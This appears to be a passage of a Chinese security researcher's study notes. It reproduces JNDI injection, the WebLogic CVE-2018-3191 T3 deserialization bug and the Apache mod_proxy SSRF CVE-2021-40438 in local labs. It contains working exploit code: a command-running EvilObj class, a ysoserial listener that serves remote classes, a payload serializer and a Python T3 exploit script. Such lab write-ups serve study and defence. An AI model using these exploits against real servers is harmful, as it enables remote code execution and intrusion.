image-20230209183545852

在本地调试时也会进入到executeCall#var14 = this.in.readObject();

但是反序列化得到的结果不是想要的,水平比较菜,也没有找到反序列化的数据在哪里。寄寄。

但是实际上,如果在上述代码最后加上一个远程通信代码

1
unSerObj.list();

这样就可以得到命令执行,同样也是在executeCall#var14 = this.in.readObject();进行的反序列化得到命令执行,有点整不会了。mark一下

JNDI注入

学到Weblogic的一些洞,发现其中的JNDI注入(Java Naming and Directory Interface)挺有意思,就来复现一下。

首先以java1.6.0_45为例子,比较原始一点,不涉及之后JAVA版本对于JNDI注入的一些限制

简单例子

做个简单JNDI的运行例子,画一下图更加清楚一点

image-20230210201304085

server/register

直接就放在一起了,用wh1t3p1g师傅改版后的ysoserial

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 1099 EvilObj http://LDAP_IP/

这个EvilObj即代表在LDAP服务中的EvilObj.class,随便写点恶意代码就行

参考:JNDI with RMI-安全客 - 安全资讯平台 (anquanke.com)

1
2
3
4
5
6
7
8
9
10
11
12
/**
* @author wh1t3P1g
* @since 2020/2/4
*/
public class EvilObj {

public EvilObj() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh", "-c", "calc"};
rt.exec(commands);
}
}

javac编译生成的EvilObj.class,放在LDAP服务目录下即可

LDAP服务

这个直接开启Web服务就行,比如用Python

1
python3 -m http.server 80

然后Web目录下得有上述的EvilObj.class,即http://LDAP_IP/EvilObj.class得访问下载到才行。

当然这个LDAP服务和上面的server放一起也行,用wh1t3p1g师傅改版后的ysoserial同样可以完成,但是师傅可能更改了一些代码,现在不太好使,也可能是自己方法不对。这里就自己写了一下,借助一下师傅的PayloadClassFileHTTPServer类,然后整合一下放到ysoserial.exploit里面就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package ysoserial.exploit;


import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;

import javax.naming.Reference;
import javax.net.ServerSocketFactory;
import java.io.*;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;


/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class RMIRefWithHttpServerListener {

public static final void main ( String[] args ) throws Exception{

if ( args.length < 4 ) {
System.err.println(RMIRefWithHttpServerListener.class.getName() + "<registryHost:registryPort> <PayloadServerPort> <factory_name> <command>");
System.exit(-1);
return;
}

System.setProperty("sun.rmi.transport.tcp.logLevel","BRIEF");
String[] registry = args[0].split(":");
int registryPort = Integer.parseInt(registry[1]);
String host = registry[0];
int httpServerPort = Integer.parseInt(args[1]);
String factoryURL = "http://"+host+":"+httpServerPort+"/";
String factoryName = args[2];
String command = args[3];


// int registryPort = 9999;
// String host = "localhost";
// int httpServerPort = 80;
// String factoryName = "EvilObj";
// String factoryURL = "http://"+host+":"+httpServerPort+"/";
//
// String command = "touch aaa";



Reference reference = new Reference(factoryName,factoryName,factoryURL);
final Object payloadObject = new ReferenceWrapper(reference);

try {
PayloadClassFileHTTPServer server = new PayloadClassFileHTTPServer(httpServerPort, factoryName, command);
server.run();

System.err.println("* URL: rmi://"+host+":"+registryPort+"/"+factoryName);
System.err.println("* FactoryURL: " + factoryURL);
System.err.println("* Opening JRMP listener on " + registryPort);

RMIRefListener c = new RMIRefListener(registryPort, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}

}

命令如下

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefWithHttpServerListener [registry_IP:registry_PORT] [LDAP_Port] [EvilObj_name] [command]

client

本地访问一下就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package ysoserial.test.payloads;

import javax.naming.Context;
import javax.naming.InitialContext;


public class myTest {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
ctx.lookup("rmi://[registry_IP]:[registry_Port]/EvilObj");
}
}

这里的两行代码

1
2
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

是在某个新的JDK之后由于com.sun.jndi.ldap.object.trustURLCodebasecom.sun.jndi.rmi.object.trustURLCodebase默认设置为false,导致无法利用RMI机制以及LDAP机制。当没有设置时,进行lookup调试后会进入如下判断

  • RMI判断

    RegistryContext#decodeObject判断com.sun.jndi.rmi.object.trustURLCodebase

    image-20230211163219141

  • LDAP判断

    NamingManager#getObjectFactoryFromReference进入VersionHelper12#loadClass判断com.sun.jndi.ldap.object.trustURLCodebase

    image-20230211163527766

    image-20230211163544591

所以这里将其设置为true,或者命令行也行

1
...

详细看下图

image-20230211124056681

参考:攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客

CVE-2018-3191

Weblogic中关于JNDI注入的,比较原始的应该就算这个洞了吧。

环境搭建

也是类似的,用vulhub的,就用CVE-2018-2628Weblogic,参考:https://xz.aliyun.com/t/10172#toc-1

记得最后把docker重启一下就行

漏洞分析

调试准备
  • 本地准备

    生成在T3协议中进行反序列化的JtaTransactionManager类,该类不在T3协议的黑名单中,可以被反序列化,如下代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    package ysoserial.payloads;

    import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;

    public class JNDI {
    public static void main(String[] args) throws IOException {
    String jndiAddress = "rmi://[registry_IP]:[registry_Port]/EvilObj";
    JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
    jtaTransactionManager.setUserTransactionName(jndiAddress);
    ser(jtaTransactionManager, "CVE_2018_3191.ser");
    }

    public static void ser(Object obj, String serName) throws IOException {
    File file = new File(serName);
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
    oos.writeObject(obj);
    System.out.println("-------序列化成功" + serName);
    }
    }

    上述代码参考:weblogic历史T3反序列化漏洞及补丁梳理 (qq.com)

    其中的JtaTransactionManager类是在Weblogic中的,将Weblogic中的modules打包出来放在IDEA中加载即可。

    image-20230211154619832

    相关的EXP如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    from os import popen
    import struct # 负责大小端的转换
    import subprocess
    from sys import stdout
    import socket
    import re
    import binascii

    def generatePayload(gadget,cmd):
    YSO_PATH = "/home/hacker/Desktop/WEB/JAVA/ysoserial.jar"
    popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
    return popen.stdout.read()

    def getFilePayload(path):
    with open(path, "rb") as f:
    return f.read()

    def T3Exploit(ip,port,payload):
    sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((ip,port))
    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
    sock.sendall(handshake.encode())
    data = sock.recv(1024)
    compile = re.compile("HELO:(.*).0.false")
    match = compile.findall(data.decode())
    if match:
    print("Weblogic: "+"".join(match))
    else:
    print("Not Weblogic")
    return
    #payload的长度四字节无符号整数
    payloadLen = binascii.a2b_hex(b"00000000")

    #头部某些地方改掉也没关系,估计是只检测了一部分
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")

    #反序列化标志,这个不能改
    desflag = binascii.a2b_hex(b"fe010000")

    payload = payloadLen + t3header +desflag+ payload
    payload = struct.pack(">I",len(payload)) + payload[4:]
    sock.send(payload)

    if __name__ == "__main__":
    host = "127.0.0.1"
    port = 7001
    #gadget = "JNDI"
    #command = "xxx:xxx"
    #payload = generatePayload(gadget, command)
    payload = getFilePayload("/home/hacker/Desktop/WEB/JAVA/ysoserial/CVE_2018_3191.ser")
    T3Exploit(host, port, payload)
  • 服务器准备

    使用如下代码搭建

    • registry

      1
      java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 9999 EvilObj http://[LDAP_IP]/
    • LDAP服务

      EvilObj.class放在该目录下

      1
      python3 -m http.server 80

需要注意的是,这里CVE-2018-2628中的Weblogicjava环境是1.6.0_45,而如果服务器中的java环境大于此版本,其生成的EvilObj就无法被成功解析,会出现如下版本不匹配问题,导致无法完成漏洞利用。

123421

而高版本解析低版本则没有什么关系,所以一般需要找对应版本的java来生成EvilObj然后挂载到服务器上。

最后有如下结果所示,然后版本也没有不匹配就应该差不多了。

image-20230211164042119

具体分析

漏洞点出在com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject中调用了initUserTransactionAndTransactionManager

image-20230211155605398

继续跟进initUserTransactionAndTransactionManager,判断一下this.userTransactionName就会调用到this.lookupUserTransaction函数,而this.userTransactionName在反序列化中是可控的

image-20230211155652699

this.lookupUserTransaction函数中会调用到JndiTemplate#lookup函数,并且以userTransactionName作为参数

image-20230211155802378

JndiTemplate#lookup函数中会再调用一次本类中单个name参数的lookup函数

image-20230211160058002

在该单个name参数的lookup函数中找到最终的漏洞根源,使用了Contextlookup函数来远程加载恶意类,该name就是JtaTransactionManager.userTransactionName,是可控的。

image-20230211160128732

这个this.execute就会调用到这里重写的doInContext函数,触发漏洞

image-20230211160717241

HTTPD(Apache)

CVE-2021-40438

Apache版本小于2.4.48,由于代理模块mod_proxy的漏洞,可以造成ApacheSSRF,需要开启如下两个模块

1
2
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

即在/conf/httpd.conf中注释掉

image-20230214103829499

环境搭建

参考P神的编译调试 Apache

漏洞分析

相关的漏洞链条如下

1
2
3
mod_proxy.c/proxy_handler
proxy_util.c/ap_proxy_pre_request
proxy_util.c/fix_uds_filename

同样也是参考P神的:Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸 | 离别歌 (leavesongs.com)

断点下在modules/proxy/proxy_util.cfix_uds_filename函数头部

image-20230214104203749

随便发送一个数据包访问一下即可断下来,该函数相关注释如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void fix_uds_filename(request_rec *r, char **url) 
{
char *ptr, *ptr2;
if (!r || !r->filename) return;

if (!strncmp(r->filename, "proxy:", 6) &&
(ptr2 = ap_strcasestr(r->filename, "unix:")) &&
(ptr = ap_strchr(ptr2, '|'))) {
apr_uri_t urisock;
apr_status_t rv;
*ptr = '\0';
rv = apr_uri_parse(r->pool, ptr2, &urisock);
if (rv == APR_SUCCESS) {
char *rurl = ptr+1;
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
apr_table_setn(r->notes, "uds_path", sockpath);
*url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
/* r->filename starts w/ "proxy:", so add after that */
memmove(r->filename+6, rurl, strlen(rurl)+1);
ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
"*: rewrite of url due to UDS(%s): %s (%s)",
sockpath, *url, r->filename);
}
else {
*ptr = '|';
}
}
}

首先关注的一点是r->filename,这里我输入的urlhttp://127.0.0.1:4444/?aaaaaa,其r->filename相关值如下,为proxy:http://192.168.1.1/?aaaaaa

image-20230214105305206

即将我们设置中的代理和用户的输入url路径进行了拼接

image-20230214105328864

也就是说这个r->filename是一部分可控的。

那么依据在fix_uds_filename函数的第二个if判定以及相关的函数注释

  • ap_strcasestr

    aaa

  • ap_strchr

    image-20230214105648945

那么即可推导出进入该if的条件

  • r->filename的前6个字符等于proxy:
  • r->filename的字符串中含有字串unix:
  • unix:字串的后面部分含有字符|

比如这样的proxy:http://192.168.1.1/?unix:aaaaaa|http://127.0.0.1/